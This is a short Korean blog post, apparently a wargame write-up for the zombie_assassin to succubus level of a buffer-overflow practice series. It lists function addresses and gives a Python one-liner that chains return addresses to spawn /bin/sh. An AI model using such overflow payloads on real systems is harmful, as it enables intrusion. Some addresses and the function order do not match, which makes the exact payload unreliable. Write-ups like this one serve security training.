nemo의 이야기
BOF원정대 zombie_assassin -> succubus 본문
소스를 확인 해보면
1. argv[1]에서 라이브러리 함수를 사용하지 못한다.
2. RET에는 DO함수 주소가 있어야된다.
3. RET이후 100byte 사용 가능
이를 해결하기 위해서는 DO GYE GUL YUT MO 순으로 호출해야된다. 그리고 마지막에 호출되는 함수에 인자를 사용하여 공격을 해야된다.
즉 마지막 인자에 bash라는 문자열을 집어 넣으면 공격에 성공한다.
우선 각 함수의 주소를 확인해야 된다.
DO : 80487ec, GYE : 80487bc, YUT : 804875c, MO : 8048724
buffer : bffffaa0
여기서 /bin/sh가 위치하는 곳은 bffffae4이다
이제 RET에 DO에 주소를 입력하고 순서대로 주소를 입력하고 마지막에는 /bin/sh가 위치한 주소를 찾아서 입력하면 된다.
$(python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08"+ "AAAA" + "\xe4\xfa\xff\xbf" + "/bin/sh"')
/bin/sh주소를 +- 16을 했을 때 system에 /bin/sh앞에 있는 주소가 들어가 있는 것을 확인할 수 있었다. 그래서 +4를 하여 bffffab8에 있는
것을 확인 할 수 있었다.
'Information security > System security' 카테고리의 다른 글
BOF원정대 succubus -> nightmare (0) | 2018.03.11 |
---|---|
BOF원정대 assassin -> zombie_assassin (0) | 2018.02.08 |
BOF원정대 giant -> assassin (0) | 2018.02.07 |
BOF원정대 bugbear -> giant (0) | 2018.01.28 |
BOF원정대 darknight -> bugbear (0) | 2018.01.28 |
Comments